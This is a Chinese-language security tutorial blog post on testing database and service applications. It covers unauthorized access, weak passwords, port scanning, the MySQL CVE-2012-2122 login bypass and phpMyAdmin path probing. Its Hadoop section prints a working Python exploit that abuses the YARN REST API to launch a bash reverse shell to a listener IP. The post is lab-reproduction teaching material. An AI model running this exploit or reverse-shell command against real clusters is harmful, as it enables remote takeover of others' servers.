您现在的位置是:首页 >学无止境 >服务攻防-数据库安全-服务应用的安全问题以及测试流程-Mysql&Hadoop&未授权访问&RCE-漏洞复现网站首页学无止境

服务攻防-数据库安全-服务应用的安全问题以及测试流程-Mysql&Hadoop&未授权访问&RCE-漏洞复现

ranzi. 2023-07-17 00:00:04
简介服务攻防-数据库安全-服务应用的安全问题以及测试流程-Mysql&Hadoop&未授权访问&RCE-漏洞复现

目录

一、服务应用的安全问题

1、配置不当——未授权访问

2、安全机制——特定安全漏洞

3、安全机制——弱口令爆破攻击

二、服务应用的安全测试思路

1、判断服务是否开放

2、判断服务类型

3、判断利用方式

三、Mysql-未授权访问-CVE-2012-2122 利用

1、漏洞概述

2、漏洞复现

3、知识点补充

四 、Hadoop-未授权访问-内置配合命令执行 RCE

1、Hadoop简介

2、漏洞复现


一、服务应用的安全问题

1、配置不当——未授权访问

        对方在搭建服务应用的时候,采用默认配置,或者自行修改了一些安全配置,从而导致配置不当,进而会产生一些安全问题。

        其中最常见的就是由于配置不当导致的未授权访问。

2、安全机制——特定安全漏洞

        未授权访问一般是由于配置不当所导致的,也就是说软件本身没有问题, 而安全机制这部分主要就是软件或者应用服务本身存在的问题,与配置无关。 

3、安全机制——弱口令爆破攻击

        有些服务是通过口令验证来去判断服务的启动和禁用的,比如数据库里面有一些数据库里面就内置的数据库的用户,包括账号和密码,如果说设置的这个账号和密码过于简单的话,那么攻击者就可以通过弱口令的猜解得到账号以及密码之后进入,来进行一些安全的测试。

二、服务应用的安全测试思路

1、判断服务是否开放

        因为我们讲的是服务的安全问题,也就是说如果当前服务没有的话,那么当前服务的安全问题肯定也就不存在了,也就没有继续进行测试的必要性了。

  • 端口扫描

        可以使用namp等工具,其原理是如果服务想要开启,就需要开放一个对应的端口,这些端口大部分都是默认的,也就是说可以根据端口号来判断某个服务是否开放。如mysql数据库的默认端口号是3306;Oracle数据库的默认端口号是1521;sql server数据库的默认端口号是1433;Redis数据库的默认端口号是6379。

        当然使用者也可以修改端口号,但是一般是不会进行修改的。

        但是有一种特殊情况,服务明明开放了,但是端口却没有开放是因为什么呢?

        三方面原因:

        (1)其处于内网(主要原因)。

                因为其服务是放在内网主机上面的,在内网内开了许多服务(端口 ),比如web和数据库,但是其只将web映射到外网,所以我们只能看到其服务在外网是开的,但是在进行扫描的时候我们扫描的仅仅是组网主机,而组网主机会将数据转发到内网再做处理,所以我们检测不到对应服务端口的开放。

        (2)端口被修改(可能性较小)。

        (3)防护应用的干扰。

  • 组合猜解

        就是我们要知道,比如有A服务,那么就有很大的可能会有B服务。

  • 信息来源

        有一些服务,会在我们进行一些安全测试的过程中,返回一些报错或者提示,进而我们可以根据此来知道有某些服务。

2、判断服务类型

        根据服务类型来判断存在什么服务,进而来判断可能存在哪些安全问题以及如何来利用存在的安全问题。

  • 数据库
  • 文件传输
  • 远程控制

        比如远程连接Windows系统的远程桌面协议(RDP),使用的 TCP 端口是3389。Linux 系统,可以使用 SSH(Secure Shell)协议进行远程访问和控制,使用的 TCP 端口是22。在连接的时候,需要输入正确的账号和密码,在这个过程中关键点就在此,如果得到了账号和密码,攻击者就可以直接连接上,就相当于拿下了这台服务器。攻击者就可以使用密码爆破来进行攻击。

  • 数据通讯

3、判断利用方式

        就是利用我们前面判断出来的存在的服务以及服务类型来判断如何利用可能存在的安全问题来进行下一步的操作。

  • 特性漏洞

        根据这个服务本身存在的安全问题来进行利用。

  • 未授权访问

       对方对服务应用的配置不当,可能会存在未授权访问。

  • 弱口令爆破

        涉及到账号密码,就可以采用账号密码方面的爆破猜解。

三、Mysql-未授权访问-CVE-2012-2122 利用

1、漏洞概述

  • 影响版本:
    • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
    • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
  • 漏洞描述:

        当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

2、漏洞复现

        首先将环境启动起来。

        在网上随便找一个扫描接口来对环境的开放端口进行扫描,在下图位置输入ip。

        探针结果如下图所示,可以看到3306端口开放,因此我们可以知道mysql服务存在。  

        接下来我们就来判断上面写的漏洞是否存在,只需要执行下面的命令。

        将上图所示的命令执行后效果如下图所示,可以看到因为密码错误,就一直报错,但是在某一刻,没有再报错,而是直接进入到了数据库里面。

3、知识点补充

        mysql默认配置只能本地登陆root用户,远程的连接请求时被拒绝的,那么我们就无法来对其进行密码爆破了,因为我们连接都连接不上。

        因此我们就只能使用类似phpMyAdmin来进行猜解,因为其属于第三方的数据库管理应用,其搭建在对方的服务器上,因此就可以借助其来登陆数据库,此时数据的发送就是从本地到本地,所以可能进行测试。

        那么如何来判断网站是否存在phpMyAdmin呢,可以使用浏览器访问网站并尝试在URL地址栏输入以下内容(也可以使用目录扫描工具直接进行扫描,观察是否存在相关路径):

  • /phpmyadmin
  • /pma
  • /myadmin
  • /mysql

        如果看到了phpMyAdmin的登录页面,那么该网站很可能存在phpMyAdmin,并且可以使用默认的登录凭据进行登录。

        如果您看到一个404错误页面,那么该网站可能不存在phpMyAdmin,或者它已经被移动到其他位置。

        但是请注意,即使看不到上述URL之一,也不能完全排除该网站存在phpMyAdmin的可能性。管理员可能已经将phpMyAdmin重命名或移动到其他位置以避免被发现,因此在评估网站的安全性时,还需要进行其他安全检查。

四 、Hadoop-未授权访问-内置配合命令执行 RCE

1、Hadoop简介

        Hadoop是一个开源的分布式计算平台,用于处理大规模数据集。它提供了分布式存储和分布式处理能力,可以在大规模服务器集群上进行高效的数据处理。

        通常被用于处理大规模的数据集,如数据分析、数据挖掘、机器学习等应用场景。它的设计理念是通过将大规模数据分割成多个数据块,并在多个计算节点上并行处理这些数据块,从而实现高效的数据处理。

        常用的端口配置如下(我们平时主要看的是50010端口): 

2、漏洞复现

        进入靶场后,在数据库选项内选择“Hadoop”。

        启动环境。

        进入靶场提供的地址。

        访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞)。

        使用以下官方exp反弹shell。

#!/usr/bin/env python

import requests

target = 'http://123.58.236.76:31367/' # 将这里更改为目标主机地址,监听端口为9999
lhost = '47.94.236.117' # 输入你的ip地址(外网反弹地址)在这里,是用来接收shell的回连地址,监听端口为9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

        在桌面创建一个py文件来保存上面的exp。

        输入下面的命令开始对7777端口进行监听。

        进入cmd输入下面的命令来执行刚刚创建好的exp。

        可以看到成功接收到了反弹。


接下篇文章:https://blog.csdn.net/weixin_62808713/article/details/130451511


风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。